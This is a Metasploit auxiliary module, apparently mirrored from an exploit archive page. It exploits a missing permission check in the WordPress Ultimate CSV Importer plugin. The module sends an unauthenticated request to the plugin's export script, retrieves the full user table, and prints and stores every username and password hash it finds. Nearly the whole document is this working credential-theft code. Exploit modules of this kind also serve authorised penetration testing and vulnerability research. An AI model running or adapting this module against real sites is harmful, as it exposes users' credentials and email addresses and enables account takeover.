Share
## https://sploitus.com/exploit?id=PACKETSTORM:180633
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'csv'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'WordPress Ultimate CSV Importer User Table Extract',  
'Description' => %q{  
Due to lack of verification of a visitor's permissions, it is possible  
to execute the 'export.php' script included in the default installation of the  
Ultimate CSV Importer plugin and retrieve the full contents of the user table  
in the WordPress installation. This results in full disclosure of usernames,  
hashed passwords and email addresses for all users.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'James Hooker', # Disclosure  
'rastating' # Metasploit module  
],  
'References' =>  
[  
['WPVDB', '7778']  
],  
'DisclosureDate' => '2015-02-02'  
))  
end  
  
def plugin_url  
normalize_uri(wordpress_url_plugins, 'wp-ultimate-csv-importer')  
end  
  
def exporter_url  
normalize_uri(plugin_url, 'modules', 'export', 'templates', 'export.php')  
end  
  
def check  
check_plugin_version_from_readme('wp-ultimate-csv-importer', '3.6.7' '3.6.0')  
end  
  
def process_row(row)  
if row[:user_login] && row[:user_pass]  
print_good("Found credential: #{row[:user_login]}:#{row[:user_pass]}")  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
private_type: :nonreplayable_hash,  
address: ::Rex::Socket.getaddress(rhost, true),  
port: rport,  
protocol: 'tcp',  
service_name: ssl ? 'https' : 'http',  
username: row[:user_login],  
private_data: row[:user_pass],  
workspace_id: myworkspace_id  
}  
  
credential_core = create_credential(credential_data)  
login_data = {  
core: credential_core,  
status: Metasploit::Model::Login::Status::UNTRIED  
}  
login_data.merge!(credential_data)  
create_credential_login(login_data)  
end  
end  
  
def parse_csv(body, delimiter)  
begin  
CSV::Converters[:blank_to_nil] = lambda do |field|  
field && field.empty? ? nil : field  
end  
csv = CSV.new(body, :col_sep => delimiter, :headers => true, :header_converters => :symbol, :converters => [:all, :blank_to_nil])  
csv.to_a.map { |row| process_row(row) }  
return true  
rescue  
return false  
end  
end  
  
def run  
print_status("Requesting CSV extract...")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => exporter_url,  
'vars_post' => { 'export' => 'users' }  
)  
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?  
fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200  
  
print_status("Parsing response...")  
unless parse_csv(res.body, ',')  
unless parse_csv(res.body, ';')  
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to parse response, the CSV was invalid")  
end  
end  
  
store_path = store_loot('wordpress.users.export', 'csv', datastore['RHOST'], res.body, 'users_export.csv', 'WordPress User Table Extract')  
print_good("CSV saved to #{store_path}")  
end  
end